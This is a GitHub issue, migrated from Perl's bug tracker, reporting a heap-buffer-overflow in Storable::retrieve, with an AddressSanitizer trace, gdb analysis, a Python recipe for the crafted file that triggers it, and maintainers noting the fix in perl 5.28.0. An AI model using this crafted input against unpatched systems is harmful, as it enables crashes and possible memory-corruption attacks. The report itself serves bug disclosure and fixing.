Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Heap-buffer-over-flow in Storable::retrieve that could lead to RCE #16131

Closed
p5pRT opened this issue Aug 29, 2017 · 7 comments

Comments

@p5pRT
Copy link

commented Aug 29, 2017

Migrated from rt.perl.org#131990 (status was 'resolved')

Searchable as RT131990$

@p5pRT

This comment has been minimized.

Copy link
Author

commented Aug 29, 2017

From imdb95@gmail.com

Greetings,
I found a RCE bug in Storable​::retrieve.

**********Build Date & Hardware**********
Version​: Version​: the dev version (https://perl5.git.perl.org/perl.git)
manh@​manh-VirtualBox​:~/Fuzzing/afl/perl$ ./perl/perl -v

This is perl 5, version 27, subversion 4 (v5.27.4
(v5.27.3-14-gd2dccc0)) built for x86_64-linux

Copyright 1987-2017, Larry Wall

Perl may be copied only under the terms of either the Artistic License or the
GNU General Public License, which may be found in the Perl 5 source kit.

Complete documentation for Perl, including FAQ lists, should be found on
this system using "man perl" or "perldoc perl". If you have access to the
Internet, point your browser at http​://www.perl.org/, the Perl Home Page.


OS​: Ubuntu 16.04 Desktop
manh@​manh-VirtualBox​:~/Fuzzing/afl/perl$ uname -a
Linux manh-VirtualBox 4.4.0-92-generic #115-Ubuntu SMP Thu Aug 10
09​:04​:33 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux


Compilation​:
AFL_USE_ASAN=1 ./Configure -des -Dusedevel -DDEBUGGING
-Dcc=afl-clang-fast -Doptimize=-O0\ -g && AFL_USE_ASAN=1 make

**********Reproduce**********
manh@​manh-VirtualBox​:~/Fuzzing/afl/perl/perlembed$ ../perl/perl -e
'use Storable; retrieve("crafted1")'

==660==ERROR​: AddressSanitizer​: heap-buffer-overflow on address
0x60200001d27a at pc 0x0000004c6424 bp 0x7fffffefd0a0 sp
0x7fffffefc850
WRITE of size 11 at 0x60200001d27a thread T0
  #0 0x4c6423 in __asan_memcpy
/scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc​:453​:3
  #1 0xcc7859 in PerlIOBase_read
/home/manh/Fuzzing/afl/perl/perl/perlio.c​:2095​:3
  #2 0xcdb3e4 in PerlIOBuf_read
/home/manh/Fuzzing/afl/perl/perl/perlio.c​:4079​:9
  #3 0xcc7037 in Perl_PerlIO_read
/home/manh/Fuzzing/afl/perl/perl/perlio.c​:1578​:6
  #4 0x7ffff3763b63 in retrieve_lscalar
/home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs​:4935​:2
  #5 0x7ffff3760636 in retrieve
/home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs​:6222​:7
  #6 0x7ffff375cf82 in do_retrieve
/home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs​:6406​:7
  #7 0x7ffff3728126 in pretrieve
/home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs​:6511​:9
  #8 0x7ffff3728126 in XS_Storable_pretrieve
/home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs​:6723
  #9 0x93cd07 in Perl_pp_entersub
/home/manh/Fuzzing/afl/perl/perl/pp_hot.c​:4424​:2
  #10 0x8396bc in Perl_runops_debug
/home/manh/Fuzzing/afl/perl/perl/dump.c​:2486​:23
  #11 0x5e0342 in S_run_body /home/manh/Fuzzing/afl/perl/perl/perl.c
  #12 0x5e0342 in perl_run /home/manh/Fuzzing/afl/perl/perl/perl.c​:2484
  #13 0x5095cb in main /home/manh/Fuzzing/afl/perl/perl/perlmain.c​:154​:9
  #14 0x7ffff6caf82f in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
  #15 0x435928 in _start (/home/manh/Fuzzing/afl/perl/perl/perl+0x435928)

0x60200001d27a is located 0 bytes to the right of 10-byte region
[0x60200001d270,0x60200001d27a)
allocated by thread T0 here​:
  #0 0x4dc62c in malloc
/scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc​:66​:3
  #1 0x83ed2b in Perl_safesysmalloc
/home/manh/Fuzzing/afl/perl/perl/util.c​:153​:21

SUMMARY​: AddressSanitizer​: heap-buffer-overflow
/scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc​:453​:3
in __asan_memcpy
Shadow bytes around the buggy address​:
  0x0c047fffb9f0​: fa fa 00 02 fa fa 00 02 fa fa 00 02 fa fa 00 02
  0x0c047fffba00​: fa fa 00 02 fa fa 00 02 fa fa 00 02 fa fa 00 02
  0x0c047fffba10​: fa fa 00 02 fa fa 00 02 fa fa 00 02 fa fa fd fd
  0x0c047fffba20​: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fffba30​: fa fa fd fd fa fa 00 02 fa fa 00 fa fa fa 00 00
=>0x0c047fffba40​: fa fa 02 fa fa fa 00 01 fa fa 00 02 fa fa 00[02]
  0x0c047fffba50​: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffba60​: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffba70​: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffba80​: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffba90​: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes)​:
  Addressable​: 00
  Partially addressable​: 01 02 03 04 05 06 07
  Heap left redzone​: fa
  Freed heap region​: fd
  Stack left redzone​: f1
  Stack mid redzone​: f2
  Stack right redzone​: f3
  Stack after return​: f5
  Stack use after scope​: f8
  Global redzone​: f9
  Global init order​: f6
  Poisoned by user​: f7
  Container overflow​: fc
  Array cookie​: ac
  Intra object redzone​: bb
  ASan internal​: fe
  Left alloca redzone​: ca
  Right alloca redzone​: cb
==660==ABORTING

**********Analysis**********

The crafted file is created as following​:

Serialize a string object into a file​:

manh@​manh-VirtualBox​:~/Fuzzing/afl/perl/perlembed$ perl -e 'use
Storable; $a="11111111111111111"; store(\$a, "data")'

We get the binary data​:

manh@​manh-VirtualBox​:~/Fuzzing/afl/perl/perlembed$ python
Python 2.7.12 (default, Nov 19 2016, 06​:48​:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.

open("data", "rb").read()
'pst0\x04\n\x0812345678\x04\x08\x08\x08*\n*\x1111111111111111111'

The "\n" = 0x10 indicates that the object type is SX_SCALAR (as
defined in Storable.xs). We change the type to SX_LSCALAR (0x01), and
set length = -1, data=anything​:

----------In Storable.xs----------*#define SX_LSCALAR C(1) /* Scalar
(large binary) follows (length, data) */*
#define SX_ARRAY C(2) /* Array forthcoming (size, item list) */
#define SX_HASH C(3) /* Hash forthcoming (size, key/value pair list) */
#define SX_REF C(4) /* Reference to object forthcoming */
#define SX_UNDEF C(5) /* Undefined scalar */
#define SX_INTEGER C(6) /* Integer forthcoming */
#define SX_DOUBLE C(7) /* Double forthcoming */
#define SX_BYTE C(8) /* (signed) byte forthcoming */
#define SX_NETINT C(9) /* Integer in network order forthcoming
*/*#define SX_SCALAR C(10) /* Scalar (binary, small) follows (length,
data) */*


m = 'pst0\x04\n\x0812345678\x04\x08\x08\x08\x01\xff\xff\xff\xff11111111111111111'
open("crafted1", "wb").write(m)

Then​:

manh@​manh-VirtualBox​:~/Fuzzing/afl/perl/perlembed$ ../perl/perl -e
'use Storable; retrieve("crafted1")'

==784==ERROR​: AddressSanitizer​: heap-buffer-overflow on address
0x60200001d27a at pc 0x0000004c6424 bp 0x7fffffefd0a0 sp
0x7fffffefc850

=> Heap-buffer-overflow

Now debug with gdb, use another compilation configuration of perl5​:
root@​manh-VirtualBox​:/home# ./perl/perl -MConfig -e 'print
$Config{optimize}, "\n"' -O0 -ggdb root@​manh-VirtualBox​:/home# ./perl/perl
-MConfig -e 'print $Config{ccflags}, "\n"' -fwrapv -DDEBUGGING
-fno-strict-aliasing -pipe -fstack-protector-strong -I/usr/local/include
-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -D_FORTIFY_SOURCE=2
root@​manh-VirtualBox​:/home# ./perl/perl -MConfig -e 'print $Config{cc},
"\n"' gcc

I figure out that, NEWSV(10002, len) is called with len = 0xffffffffffffffff,
then in Perl_newSV, sv_grow(sv, len + 1) is called, so it becomes sv_grow(sv,
0). A valid sv is returned.
After that, at line Storable.xs​:4935​:
SAFEREAD(SvPVX(sv), len, sv);
=> Trigger heap-over-flow. The reading succeeds without crash, because EOF
is reached. As a result, we can craft the heap for some kind of
exploitation!!!

Breakpoint 3, retrieve_lscalar (cxt=0xa96980, cname=0x0) at
Storable.xs​:4905 4905 { (gdb) list 4900 * Layout is SX_LSCALAR <length>
<data>, with SX_LSCALAR already read. 4901 * The scalar is "long" in that
<length> is larger than LG_SCALAR so it 4902 * was not stored on a single
byte. 4903 */ 4904 static SV *retrieve_lscalar(pTHX_ stcxt_t *cxt, const
char *cname) 4905 { 4906 I32 len; 4907 SV *sv; 4908 HV *stash; 4909 (gdb)
list 4910 RLEN(len); 4911 TRACEME(("retrieve_lscalar (#%d), len = %" IVdf,
cxt->tagnum, (IV) len)); 4912 4913 /* 4914 * Allocate an empty scalar of
the suitable length. 4915 */ 4916 4917 sv = NEWSV(10002, len); 4918 stash =
cname ? gv_stashpv(cname, GV_ADD) : 0; 4919 SEEN_NN(sv, stash, 0); /*
Associate this new scalar with tag "tagnum" */ (gdb) n 4910 RLEN(len);
(gdb) n Breakpoint 2, retrieve_lscalar (cxt=0xa96980, cname=0x0) at
Storable.xs​:4917 4917 sv = NEWSV(10002, len); (gdb) p/x len $42 =
0xffffffff (gdb) s Perl_newSV (len=18446744073709551615) at sv.c​:5689 5689
new_SV(sv); (gdb) list 5684 SV * 5685 Perl_newSV(pTHX_ const STRLEN len)
5686 { 5687 SV *sv; 5688 5689 new_SV(sv); 5690 if (len) { 5691 sv_grow(sv,
len + 1); 5692 } 5693 return sv;
(gdb) n 5690 if (len) { (gdb) 5691 sv_grow(sv, len + 1); (gdb) n 5693
return sv;
(gdb) p/x *((XPV*) (sv->sv_any)) $45 = {xmg_stash = 0x1, xmg_u = {xmg_magic
= 0xa, xmg_hash_index = 0xa}, xpv_cur = 0x0, xpv_len_u = {xpvlenu_len =
0xa, xpvlenu_rx = 0xa}} (gdb)
...
4935 SAFEREAD(SvPVX(sv), len, sv); (gdb) n 4946 }

I see that the bug also exists in my default perl version​:
root@​manh-VirtualBox​:/home# perl -e 'use Storable; retrieve("./crafted1")'
Segmentation fault

Best,
Manh

@p5pRT

This comment has been minimized.

Copy link
Author

commented Aug 29, 2017

@p5pRT

This comment has been minimized.

Copy link
Author

commented Nov 29, 2017

From @iabyn

On Tue, Aug 29, 2017 at 09​:25​:54AM -0700, Nguyen Duc Manh wrote​:

I found a RCE bug in Storable​::retrieve.

This bug is still present in blead​:

  $ valgrind ./perl -Ilib -e'use Storable; retrieve("/tmp/crafted1")'
  ...
  ==11265== Invalid write of size 1

I don't know what the status of the various Storable WIP branches is,
or whether any of them fix this issue.

--
Any [programming] language that doesn't occasionally surprise the
novice will pay for it by continually surprising the expert.
  -- Larry Wall

@p5pRT

This comment has been minimized.

Copy link
Author

commented Nov 29, 2017

The RT System itself - Status changed from 'new' to 'open'

@p5pRT

This comment has been minimized.

Copy link
Author

commented Dec 15, 2017

From @tonycoz

On Wed, 29 Nov 2017 01​:29​:23 -0800, davem wrote​:

On Tue, Aug 29, 2017 at 09​:25​:54AM -0700, Nguyen Duc Manh wrote​:

I found a RCE bug in Storable​::retrieve.

This bug is still present in blead​:

$ valgrind \./perl \-Ilib \-e'use Storable; retrieve\("/tmp/crafted1"\)'
\.\.\.
==11265== Invalid write of size 1

I don't know what the status of the various Storable WIP branches is,
or whether any of them fix this issue.

As with the other Storable bug reported to the security this, we don't treat Storable issues as security issues, so I've moved this to the public queue.

This issue is fixed in my work-in-progress branch.

Tony

@p5pRT

This comment has been minimized.

Copy link
Author

commented Aug 6, 2019

From @tonycoz

On Thu, 14 Dec 2017 19​:16​:27 -0800, tonyc wrote​:

On Wed, 29 Nov 2017 01​:29​:23 -0800, davem wrote​:

On Tue, Aug 29, 2017 at 09​:25​:54AM -0700, Nguyen Duc Manh wrote​:

I found a RCE bug in Storable​::retrieve.

This bug is still present in blead​:

$ valgrind ./perl -Ilib -e'use Storable; retrieve("/tmp/crafted1")'
...
==11265== Invalid write of size 1

I don't know what the status of the various Storable WIP branches is,
or whether any of them fix this issue.

As with the other Storable bug reported to the security this, we don't
treat Storable issues as security issues, so I've moved this to the
public queue.

This issue is fixed in my work-in-progress branch.

This was merged as commit 0a40680 which was included in perl 5.28.0.

Tony

@p5pRT

This comment has been minimized.

Copy link
Author

commented Aug 6, 2019

@tonycoz - Status changed from 'open' to 'resolved'

@p5pRT p5pRT closed this Aug 6, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
1 participant
You can’t perform that action at this time.